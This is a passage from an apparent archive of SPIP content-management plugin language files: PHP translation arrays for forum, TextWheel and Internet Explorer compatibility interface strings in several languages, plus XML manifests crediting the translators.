'bouton_radio_modere_priori' => 'elözőleg moderálva', # MODIF
'bouton_radio_publication_immediate' => 'Üzenetek azonnali publikálása
(a küldött anyagok már küldéskor megjelennek, az adminisztrátorok későb tudják törölni).',
// F
'form_pet_message_commentaire' => 'Üzenet, hozzászólás ?',
'forum' => 'Fórum',
'forum_acces_refuse' => 'Már nincs hozzáférése ezekhez a fórumokhoz.',
'forum_attention_dix_caracteres' => '<b>Vigyázat !</b> Az üzenetének legalább 10 karaktert kell tartalmaznia.',
'forum_attention_trois_caracteres' => '<b>Vigyázat !</b> A címnek legalább három karaktert kell tartalmaznia.',
'forum_attention_trop_caracteres' => '<b>Figyelem !</b> az üzenete túl hosszú (@compte@ karakter) : legfeljebb @max@ karakterből állhat.', # MODIF
'forum_avez_selectionne' => 'Kijelölt :',
'forum_cliquer_retour' => 'Kattintson <a href=\'@retour_forum@\'>ide</a> a folytatáshoz.',
'forum_forum' => 'fórum',
'forum_info_modere' => 'Ez a fórum előre moderált : az Ön hozzászólása csak azután jelenik meg, hogy a honlap egyik adminisztrátora jóváhagyta.', # MODIF
'forum_lien_hyper' => '<b>Hiperhivatkozás</b> (választható)', # MODIF
'forum_message_definitif' => 'Végleges üzenet: küldés a honlapra',
'forum_message_trop_long' => 'Az Ön üzenete túl hosszú. A maximális méret 20 000 karakter.', # MODIF
'forum_ne_repondez_pas' => 'Ne erre az emailre válaszoljon, hanem a fórumon a következő címen:', # MODIF
'forum_page_url' => '(Amennyiben az Ön üzenete egy interneten publikált, vagy további információt tartalmazó oldalra vonatkozik, akkor adja meg az oldal nevét, illetve URL címét.)',
'forum_poste_par' => 'Az üzenetet @parauteur@ küldte, "@titre@" című cikkére válaszul.', # MODIF
'forum_qui_etes_vous' => '<b>Kicsoda Ön?</b> (nem kötelező)', # MODIF
'forum_texte' => 'Üzenetének szövege:', # MODIF
'forum_titre' => 'Tárgy:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Érvényesítse választását',
'forum_voir_avant' => 'Küldés előtti előnézet megtekintése', # MODIF
'forum_votre_email' => 'Az Ön email címe:', # MODIF
'forum_votre_nom' => 'Az Öne neve (vagy beceneve):', # MODIF
'forum_vous_enregistrer' => 'A fórum használatához
kérjük, először regisztráljon. Lentebb adja meg
a személyes azonosítót,
amit kapott. Amennyiben nincs regisztrálva, akkor',
'forum_vous_inscrire' => 'regisztráljon.',
// I
'icone_poster_message' => 'Üzenet küldése',
'icone_suivi_forum' => 'A nyilvános fórum megfigyelése : @nb_forums@ hozzászlás',
'icone_suivi_forums' => 'Figyelni/kezelni a fórumokat',
'icone_supprimer_message' => 'Az üzenet törlése',
'icone_valider_message' => 'Az üzenet érvényesítése',
'info_activer_forum_public' => '<i>A nyilvános fórumok aktiválására, válassza az alapértelmezett
móderálási módjukat:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Alkalmazni ezt a moderálási választást :',
'info_desactiver_forum_public' => 'A nyilvános fórumok kikapcsolása.
A nyilvános fórumokat egyenként lehet engedélyezni
a cikkeknél ; tiltva lesznek a rovatoknál, híreknél, stb.',
'info_envoi_forum' => 'Fórumok küldése a cikkek szerzőinek',
'info_fonctionnement_forum' => 'Fórum működése :',
'info_gauche_suivi_forum_2' => 'A <i>fórumok megfigyelése</i> nevű oldal a honlap egyik kezelési eszkőze (és nem pedig vitás, vagy szerzői rész). A honlap összes (nyilvános, ill. privát rész) fórumainak hozzászólásait jeleníti meg, és ezeknek kezelését teszi lehetővé.', # MODIF
'info_liens_syndiques_3' => 'fórumok',
'info_liens_syndiques_4' => 'vannak',
'info_liens_syndiques_5' => 'fórum',
'info_liens_syndiques_6' => 'van',
'info_liens_syndiques_7' => 'jóváhagyás alatt',
'info_mode_fonctionnement_defaut_forum_public' => 'Nyilvános fórumok alapértelmezett működési módszere',
'info_option_email' => 'Ha egy látogató üzenetet küld egy új üzenetet a cikkhez csatolt fórumba,
akkor a szerzők erről az üzenetről értesülhetnek emailen. Szeretne használni ezt az opciót ?', # MODIF
'info_pas_de_forum' => 'Nincs fórum',
'item_activer_forum_administrateur' => 'Admninisztrátori fórum aktiválása',
'item_desactiver_forum_administrateur' => 'Az adminisztrátori fórumok inaktiválása',
// L
'lien_reponse_article' => 'Hozzászólás a cikkről',
'lien_reponse_breve_2' => 'Hozzászólás a hírhez',
'lien_reponse_rubrique' => 'Hozzászólás a rubrikához',
'lien_reponse_site_reference' => 'Hozzászólás a felvett honlaphoz :', # MODIF
// O
'onglet_messages_internes' => 'Belső üzenetek',
'onglet_messages_publics' => 'Nyilvános üzenetek',
'onglet_messages_vide' => 'Szöveg nélküli üzenetek',
// R
'repondre_message' => 'Válaszolni erre az üzenetre',
// T
'titre_cadre_forum_administrateur' => 'Privát adminisztrátori fórum',
'titre_cadre_forum_interne' => 'Belső fórum',
'titre_forum' => 'Fórum',
'titre_forum_suivi' => 'A fórumok megfigyelése',
'titre_page_forum_suivi' => 'Fórumok megfigyelése'
);
?>
forum_es.php 0000666 00000024114 15252247467 0007120 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Ningún mensaje de foro',
// B
'bouton_radio_articles_futurs' => 'a los artículos futuros solamente (no modifica la base de datos).',
'bouton_radio_articles_tous' => 'a todos los artículos sin excepción.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a todos los artículos, salvo aquellos cuyo foro está desactivado.',
'bouton_radio_enregistrement_obligatoire' => 'Inscripción obligatoria (es necesario inscribirse dando su correo electrónico antes de poder participar en el foro).',
'bouton_radio_moderation_priori' => 'Moderado a priori (las
contribuciones sólo aparecen públicas luego de validación por un/a
administrador/a).',
'bouton_radio_modere_abonnement' => 'sólo para inscritos',
'bouton_radio_modere_posteriori' => 'moderación a posteriori',
'bouton_radio_modere_priori' => 'moderación a priori',
'bouton_radio_publication_immediate' => 'Publicación inmediata de los mensajes (las contribuciones aparecen en cuanto enviadas, pueden suprimirse posteriormente desde la administración).',
// D
'documents_interdits_forum' => 'Documentos prohibidos en el foro',
// E
'erreur_enregistrement_message' => 'No se pudo guardar tu mensaje debidos un problema técnico ',
// F
'form_pet_message_commentaire' => '¿Un mensaje, un comentario?',
'forum' => 'Foro',
'forum_acces_refuse' => 'Ya no tienes acceso a estos foros.',
'forum_attention_dix_caracteres' => '<b>¡Atención!</b> tu mensaje debe tener al menos diez caracteres.',
'forum_attention_message_non_poste' => '¡Atención! Aún no has publicado tu mensaje',
'forum_attention_nb_caracteres_mini' => '<b>¡OjO!</b> tu mensaje debe tener al menos @min@ caracteres.',
'forum_attention_trois_caracteres' => '<b>¡Atención!</b> el título debe tener al menos tres caracteres.',
'forum_attention_trop_caracteres' => '<b>¡Atención!</b> el mensaje es demasiado largo (@compte@ caracteres) para poder guardarlo, no debe sobrepasar los @max@ caracteres.',
'forum_avez_selectionne' => 'Has seleccionado:',
'forum_cliquer_retour' => 'Pinchar <a href=\'@retour_forum@\'>aquí</a> para continuar.',
'forum_forum' => 'foro',
'forum_info_modere' => 'Este foro es moderado a priori: tu contribución sólo aparecerá una vez validada por un/a administrador/a del sitio.',
'forum_lien_hyper' => 'Enlace hipertexto',
'forum_message' => 'Tu mensaje',
'forum_message_definitif' => 'Mensaje definitivo: enviar al sitio',
'forum_message_trop_long' => 'Tu mensaje es demasiado largo. Sólo se admite un máximo de 20.000 caracteres.',
'forum_ne_repondez_pas' => 'No conteste a este correo, sino el foro en la dirección siguiente:',
'forum_page_url' => '(Si tu mensaje se refiere a un artículo publicado en Internet, o a una página que contiene más informaciones, indica a continuación el título de la página y su dirección URL.)',
'forum_permalink' => 'Enlace permanente al comentario',
'forum_poste_par' => 'Mensaje enviado@parauteur@ como respuesta al artículo «@titre@».',
'forum_poste_par_court' => 'Mensaje enviado@parauteur@.',
'forum_poste_par_generique' => 'Mensaje enviado@parauteur@ (@objet@ «@titre@»).',
'forum_qui_etes_vous' => '¿Quién eres?',
'forum_saisie_texte_info' => 'En este formulario se pueden ingresar atajos SPIP <code>[->url] {{negrita}} {cursiva} <quote> <code></code> código HTML <code><q> <del> <ins></code>. Para separar párrafos, simplemente deja líneas vacías.',
'forum_texte' => 'Texto de tu mensaje',
'forum_titre' => 'Título',
'forum_url' => 'Tu sitio web',
'forum_valider' => 'Validar la elección',
'forum_voir_avant' => 'Previsualización',
'forum_votre_email' => 'Tu dirección de correo electrónico',
'forum_votre_nom' => 'Tu nombre',
'forum_vous_enregistrer' => 'Para participar en este foro, previamente debes registrarte.
Gracias por indicar a continuación el identificador personal que se te ha
suministrado. Si no estás inscrito/a, debes',
'forum_vous_inscrire' => 'inscribirte.',
// I
'icone_bruler_message' => 'Señalar como Spam ',
'icone_bruler_messages' => 'Señalar como Spam',
'icone_legitimer_message' => 'Señalar como lícito',
'icone_poster_message' => 'Enviar un mensaje',
'icone_suivi_forum' => 'Actualidad del foro público: @nb_forums@ contribución(es)',
'icone_suivi_forums' => 'Seguir y administrar los foros',
'icone_supprimer_message' => 'Suprimir este mensaje',
'icone_supprimer_messages' => 'Suprimir estos mensajes',
'icone_valider_message' => 'Validar este mensaje',
'icone_valider_messages' => 'Validar estos mensajes ',
'icone_valider_repondre_message' => 'Confirmar & Reponder a este mensaje',
'info_1_message_forum' => '1 mensaje de foro',
'info_activer_forum_public' => 'Para activar los foros públicos, seleccionar el modo de moderación por omisión:',
'info_appliquer_choix_moderation' => 'Aplicar este tipo de moderación',
'info_config_forums_prive' => 'En el espacio privado del sitio, se pueden activar varios tipos de foros:',
'info_config_forums_prive_admin' => 'Un foro reservado a los administradores del sitio :',
'info_config_forums_prive_global' => 'Un foro global, abierto a todos los redactores :',
'info_config_forums_prive_objets' => 'Un foro para cada artículo, breve, sitio referenciado, etc. :',
'info_desactiver_forum_public' => 'Desactivar los foros públicos. Podrán ser activados puntualmente para los artículos, pero no para las breves o las secciones.',
'info_envoi_forum' => 'Seguimiento de los foros',
'info_fonctionnement_forum' => 'Funcionamiento del foro:',
'info_forums_liees_mot' => 'Los mensajes de foro ligados a esta palabra',
'info_gauche_suivi_forum_2' => 'La página de <i>seguimiento de los foros</i> es una herramienta de gestión de tu sitio (y no un espacio de diálogo o de redacción). Muestra todas las contribuciones de foros del sitio, tanto en público como en el espacio privado, y permite gestionarlas.',
'info_liens_syndiques_3' => 'foros',
'info_liens_syndiques_4' => 'están',
'info_liens_syndiques_5' => 'foro',
'info_liens_syndiques_6' => 'está',
'info_liens_syndiques_7' => 'en espera de validación',
'info_liens_texte' => 'Enlace(s) que contiene el texto del mensaje',
'info_liens_titre' => 'Enlace(s) que contiene el título del mensaje',
'info_mode_fonctionnement_defaut_forum_public' => 'Modo de funcionamiento de los foros públicos',
'info_nb_messages_forum' => '@nb@ mensajes de foro',
'info_option_email' => 'Cuando se deposita una nueva contribución en un foro asociado a un artículo, se puede notificarlo por correo electrónico a los autores y autoras del artículo. ¿Deseas utilizar esta opción?',
'info_pas_de_forum' => 'sin foro',
'info_question_visiteur_ajout_document_forum' => 'Para que los visitantes puedan depositar documentos (imágenes, sonidos...) al participar en los foros, indica aquí la lista de extensiones de documentos autorizados en los foros (por ejemplo: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Para autorizar todos los tipos de documentos considerados como fiables por SPIP, marca un asterisco. Para no autorizar ninguno, no indiques nada.',
'info_selectionner_message' => 'Seleccionar los mensajes:',
'interface_formulaire' => 'Interfaz formulario',
'interface_onglets' => 'Interfaz con pestañas',
'item_activer_forum_administrateur' => 'Activar el foro del equipo de administración.',
'item_config_forums_prive_global' => 'Activar el foro de los redactores',
'item_config_forums_prive_objets' => 'Activar estos foros',
'item_desactiver_forum_administrateur' => 'Desactivar el foro de administración',
'item_non_config_forums_prive_global' => 'Desactivar el foro de los redactores',
'item_non_config_forums_prive_objets' => 'Desactivar estos foros',
// L
'label_selectionner' => 'Seleccionar:',
'lien_reponse_article' => 'Respuesta al artículo',
'lien_reponse_breve_2' => 'Respuesta a la breve',
'lien_reponse_message' => 'Respuesta al mensaje',
'lien_reponse_rubrique' => 'Respuesta a la sección',
'lien_reponse_site_reference' => 'Respuesta al sitio referenciado',
'lien_vider_selection' => 'Vaciar la selección',
// M
'messages_aucun' => 'Ningún',
'messages_meme_auteur' => 'Todos los mensajes de este autor/a',
'messages_meme_email' => 'Todos los mensajes de este email',
'messages_meme_ip' => 'Todos los mensajes de esta IP',
'messages_off' => 'Suprimidos',
'messages_perso' => 'Personales',
'messages_privadm' => 'Administradores',
'messages_prive' => 'Privados',
'messages_privoff' => 'Suprimidos',
'messages_privrac' => 'Generales',
'messages_prop' => 'Propuestos',
'messages_publie' => 'Publicados',
'messages_spam' => 'Spam',
'messages_tous' => 'Todos',
// O
'onglet_messages_internes' => 'Mensajes internos',
'onglet_messages_publics' => 'Mensajes públicos',
'onglet_messages_vide' => 'Mensajes sin texto',
// R
'repondre_message' => 'Responder este mensaje',
// S
'statut_off' => 'Suprimido',
'statut_original' => 'original',
'statut_prop' => 'Propuesto',
'statut_publie' => 'Publicado',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Expresa tu opinión mediante el foro adjunto al artículo (en la parte inferior de la página).',
'texte_en_cours_validation' => 'Los artículos, breves y foros a continuación están propuestos a la publicación.',
'texte_en_cours_validation_forum' => 'No dudes en dar tu opinión mediante los foros adjuntos.',
'texte_messages_publics' => 'Mensajes públicos sobre:',
'titre_cadre_forum_administrateur' => 'Foro administradores',
'titre_cadre_forum_interne' => 'Foro interno',
'titre_config_forums_prive' => 'Foros del espacio privado',
'titre_forum' => 'Foros',
'titre_forum_suivi' => 'Gestión de los foros',
'titre_page_forum_suivi' => 'Seguimiento de los foros',
'titre_selection_action' => 'Selección',
'tout_voir' => 'Ver todos los mensajes',
// V
'voir_messages_objet' => 'ver los mensajes'
);
?>
paquet-forum_es.php 0000666 00000000702 15252247467 0010412 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Foros de SPIP (privado y público)',
'forum_slogan' => 'Administración de los foros privados y públicos en SPIP'
);
?>
paquet-tw_es.php 0000666 00000000654 15252247550 0007713 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Integrar TextWheel en SPIP',
'tw_slogan' => 'Administración de la tipografía SPIP con TextWheel'
);
?>
paquet-tw_pt.php 0000666 00000000640 15252247550 0007722 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Integrar TextWheel em SPIP',
'tw_slogan' => 'Gestão da tipografia SPIP com TextWheel'
);
?>
paquet-tw.xml 0000666 00000006447 15252247550 0007243 0 ustar 00 <traduction module="paquet-tw" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/textwheel/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="nazar" lien="http://trad.spip.net/auteur/nazar" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-tw_it.php 0000666 00000000646 15252247550 0007721 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Integra TextWheel in SPIP',
'tw_slogan' => 'Gestione della tipografia di SPIP con TextWheel'
);
?>
paquet-tw_en.php 0000666 00000000645 15252247550 0007706 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Integrate TextWheel in SPIP',
'tw_slogan' => 'Management of SPIP typography with TextWheel'
);
?>
tw_fr.php 0000666 00000000650 15252247550 0006412 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/textwheel/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// R
'retour_ligne_auto' => 'Retour ligne automatique',
'retour_ligne_ignore' => 'Retour ligne ignoré',
'retour_ligne_manuel' => 'Retour ligne manuel'
);
?>
paquet-tw_ar.php 0000666 00000000662 15252247550 0007705 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'دمج TextWheel في SPIP',
'tw_slogan' => 'إدارة الكتابة في SPIP بواسطة TextWheel'
);
?>
paquet-tw_fr_fem.php 0000666 00000000654 15252247550 0010542 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Intégrer TextWheel dans SPIP',
'tw_slogan' => 'Gestion de la typographie SPIP avec TextWheel'
);
?>
paquet-tw_nl.php 0000666 00000000653 15252247550 0007714 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'TextWheel in SPIP integreren ',
'tw_slogan' => 'Beheer van de SPIP typografie dank zij TextWheel'
);
?>
paquet-tw_sk.php 0000666 00000000651 15252247550 0007716 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Integrovať TextWheel do SPIPu',
'tw_slogan' => 'Správa typografie SPIPu s modulom TextWheel'
);
?>
paquet-tw_de.php 0000666 00000000650 15252247550 0007670 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Integration von TextWheel in SPIP',
'tw_slogan' => 'Typographie in SPIP mit TextWheel steuern'
);
?>
tw.xml 0000666 00000001524 15252247550 0005735 0 ustar 00 <traduction module="tw" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/textwheel/lang/" reference="fr">
<langue code="en" url="http://trad.spip.net/tradlang_module/334?lang_cible=en" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Benitron" lien="http://trad.spip.net/auteur/benitron" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/334?lang_cible=es" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Raquel S. Bujaldón" lien="http://trad.spip.net/auteur/raquel-s-bujaldon" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/334?lang_cible=fr" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
</traduction>
paquet-tw_fa.php 0000666 00000000740 15252247550 0007666 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'ادغام چرخنويس (TextWheel) در اسپيپ',
'tw_slogan' => 'مديريت حروفنگاري در اسپيپ با چرخنويس '
);
?>
paquet-tw_ru.php 0000666 00000000723 15252247550 0007727 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Интегрировать TextWheel в SPIP',
'tw_slogan' => 'Управлять оформлением SPIP c помощью TextWheel'
);
?>
tw_es.php 0000666 00000000714 15252247550 0006413 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/334?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// R
'retour_ligne_auto' => 'Volver a línea automática',
'retour_ligne_ignore' => 'Volver a línea ignorada',
'retour_ligne_manuel' => 'Volver a línea manual'
);
?>
paquet-tw_lb.php 0000666 00000000652 15252247550 0007677 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-tw?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'TextWheel a SPIP integréieren',
'tw_slogan' => 'Verwalte vun der SPIP-Typografie mat TextWheel'
);
?>
paquet-tw_fr.php 0000666 00000000610 15252247550 0007703 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/textwheel/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// T
'tw_description' => 'Intégrer TextWheel dans SPIP',
'tw_slogan' => 'Gestion de la typographie SPIP avec TextWheel'
);
?>
tw_en.php 0000666 00000000666 15252247550 0006414 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/334?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// R
'retour_ligne_auto' => 'Automatic word wrap',
'retour_ligne_ignore' => 'Ignore word wrap',
'retour_ligne_manuel' => 'Manual word wrap'
);
?>
msiecompat_ast.php 0000666 00000002601 15252255174 0010300 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/msiecompat?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'choix_explication' => '<p>Esta configuración te permite ameyorar la compatibilidá del sitiu públicu col navegador Internet Explorer.</p>
<ul>
<li><a href=\'http://jquery.khurshid.com/ifixpng.php\'>iFixPng</a> (<b>de mou predetermináu</b>) torna a establecer la semi-transparencia de les imaxes en formatu PNG en MSIE 5 y 6.</li>
<li><a href=\'http://code.google.com/p/ie7-js/\'>IE7.js</a> corrixe les imaxes PNG y amiesta los selectores CSS2 pa MSIE 5 y 6 (<a href=\'http://ie7-js.googlecode.com/svn/test/index.html\'>puedes consultar la llista de los selectores compatibles qu’introducen IE7.js ya IE8.js</a>).</li>
<li>IE8.js completa IE7.js arriqueciendo los comportamientos de les CSS de MSIE 5 a 7. </li>
<li>IE7-squish corrixe trés fallos de MSIE 6 (n’especial el doble marxe de los elementos flotantes), pero pueden apaecer efeutos non deseables (el webmaster tien de comprobar la compatibilidá).</li>
</ul>', # MODIF
'choix_non' => 'Nun activar ren: nun amestar nada nes mios cadarmes',
'choix_titre' => 'Compatibilidá con Microsoft Internet Explorer'
);
?>
paquet-msie_compat.xml 0000666 00000007324 15252255174 0011105 0 ustar 00 <traduction module="paquet-msie_compat" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/msie_compat/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=ar" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=de" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=en" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=es" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-msie_compat?lang_cible=fa" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
